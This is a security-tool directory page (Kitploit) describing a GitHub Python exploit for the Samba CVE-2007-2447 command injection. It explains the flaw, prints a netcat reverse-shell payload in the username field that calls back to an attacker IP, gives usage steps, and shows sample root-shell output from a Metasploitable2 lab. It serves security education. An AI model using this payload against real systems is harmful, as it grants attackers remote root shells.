Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2007-2447 — Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit. | Kitploit
Strumenti/GitHubGitHub/rushikesh-a-bhujbal/cve-2007-2447
Payload GenerationExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubrushikesh-a-bhujbal/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.

Vedi Repository
25 set 2026Non ancora revisionato
Condividi
Contenuto non disponibile nella lingua richiesta. Visualizzazione della versione inglese.

CVE-2007-2447 — Samba 3.0.20 Username Map Script Command Injection

Python Library Platform Target License


Overview

Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.


How the Vulnerability Works

Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:

/bin/sh -c "map_script.sh <username>"

The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.

In Linux shell, backticks mean "execute this as a command first":

/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"

The shell executes the backtick content before map_script.sh even runs — giving the attacker direct command execution as whatever user Samba is running as (root on Metasploitable2).


Vulnerability Class Comparison

CVE-2011-2523CVE-2010-2075CVE-2007-2447
TypeSupply chain (intentional backdoor)Supply chain (intentional backdoor)Developer mistake (command injection)
ProtocolFTPIRCSMB
Trigger:) in usernameAB; prefixbackticks in username
Shell typeBind shellReverse shellReverse shell

What This Script Does

  1. Opens a listener on Kali port 4444 — waiting for the reverse shell
  2. Connects to the target on port 445 using impacket's SMB client
  3. Sends a login attempt with a malicious username containing the payload: /=`nohup nc -e /bin/bash KALI_IP 4444`
  4. Samba passes the username to /bin/sh -c — shell executes the backticks
  5. nohup nc on the target connects back to Kali port 4444 with a bash shell
  6. listener.accept() receives the incoming shell connection
  7. Interactive root shell loop begins

Payload Explained

/=`nohup nc -e /bin/bash 192.168.15.129 4444`
  • /= → satisfies Samba's username format requirement
  • ` ` → shell backticks — execute everything inside as a command
  • nohup → keeps the process alive even after Samba closes the connection
  • nc → netcat — raw networking tool
  • -e /bin/bash → attach bash to the connection — gives whoever connects a shell
  • 192.168.15.129 4444 → your Kali IP and listening port

Requirements

  • Python 3.x
  • impacket library
  • netcat on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running Samba 3.0.20

Install impacket:

pip install impacket

Usage

git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket

Edit main.py:

kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

python3 main.py

Example output:

[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit

Error Handling

ScenarioBehaviour
SMB connection refusedException raised, script exits
Login fails (expected)Caught silently — payload already fired
Shell never connects backlistener.accept() blocks indefinitely
Command produces no outputrecv() times out silently, returns to prompt

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • Samba 3.0.20
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2007-2447
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • ExploitDB: https://www.exploit-db.com/exploits/16320
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Strumenti correlati

  • metasploit-framework

    Framework di exploitation open-source con sistema modulare di payload, encoder e ausiliari per penetration testing, validazione delle vulnerabilità e ricerca sulla sicurezza su reti e applicazioni.

  • donut

    Genera shellcode indipendente dalla posizione per x86, x64 o AMD64+x86 che carica assembly .NET, file PE e altri payload Windows dalla memoria e li esegue con parametri.

  • sRDI

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    Callisto

    jetp1ane/callisto

    Strumento automatizzato di analisi delle vulnerabilità binarie che decompila eseguibili tramite Ghidra, esegue la scansione del pseudo-codice C con Semgrep e convalida i risultati utilizzando GPT-3.5-Turbo per ridurre i falsi positivi.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    Piattaforma IMSI Catcher che distribuisce una cella GSM rogue per intercettare SMS, iniettare messaggi e tracciare dispositivi mobili

    721
  • 4

    opencti

    opencti-platform/opencti

    Piattaforma aperta di intelligence sulle minacce informatiche

    535
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Strumento di root per Android per Samsung Galaxy S25 Ultra (SM-S938B) che concatena DirtyFrag CVE-2026-43284 e CVE-2026-43499 per ottenere i privilegi di root automaticamente all'avvio tramite KernelSU.

    419

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Scarica lo strumento

Implementazione in shellcode di Reflective DLL Injection. Converte DLL in shellcode indipendente dalla posizione.